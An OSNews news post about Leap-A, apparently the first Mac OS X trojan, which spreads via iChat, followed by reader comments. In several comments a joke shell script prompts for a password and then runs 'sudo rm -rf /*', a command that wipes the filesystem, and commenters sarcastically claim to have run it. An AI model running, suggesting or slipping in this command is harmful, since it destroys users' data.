Linked by Thom Holwerda on Thu 16th Feb 2006 15:45 UTC, submitted by kristof
Mac OS X Antivirus researchers have discovered what's claimed to be the first computer Trojan to infect Apple Mac OS X computers. The malware, dubbed Leap-A, spreads via the iChat instant messaging system as a file called latestpics.tgz that infected machines send to contacts on an infected user's buddy list. The malicious file, which poses as a set of pictures, is a compressed Unix shell program. The user is prompted for admin credentials to launch the malicious code, which is better described as a Trojan than a virus. Mac OS X users who do this will find their machines infected.
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Another trojan:
by gleng on Thu 16th Feb 2006 16:10 UTC
gleng
Member since:
2006-02-16

Here's the source to another Mac OS X trojan:

#!/bin/sh
echo "Enter your password to receive free stuff!"
sudo rm -rf /*

Looks like the days of *nix being a safe platform are over.

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RE: Another trojan:
by geopapl on Thu 16th Feb 2006 16:19 in reply to "Another trojan:"
geopapl Member since:
2005-11-27

OMG, I run this script on my OpenBSD server (I wanted to receive free stuff) and it deleted everything!

Even OpenBSD is vulnerable!

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RE[2]: Another trojan:
by Kroc on Thu 16th Feb 2006 16:52 in reply to "RE: Another trojan:"
Kroc Member since:
2005-11-10

So is Ubuntu! OMG it's a cross platform, ultra desctructive virus. ;)

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RE: Another trojan:
by netpython on Thu 16th Feb 2006 18:35 in reply to "Another trojan:"
netpython Member since:
2005-07-06

Here's the source to another Mac OS X trojan:

#!/bin/sh
echo "Enter your password to receive free stuff!"
sudo rm -rf /*

Looks like the days of *nix being a safe platform are over.


Ehm,this would most likely work on Ubuntu.
For the rest,correct me if i'm wrong,the sudoers file has to be setup properly for this small example script to cause havoc.

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RE: Another trojan:
by postmodern on Thu 16th Feb 2006 21:48 in reply to "Another trojan:"
postmodern Member since:
2006-01-27

This has nothing to do with safety of *nix, and everything to do with the security education of the (l)user.

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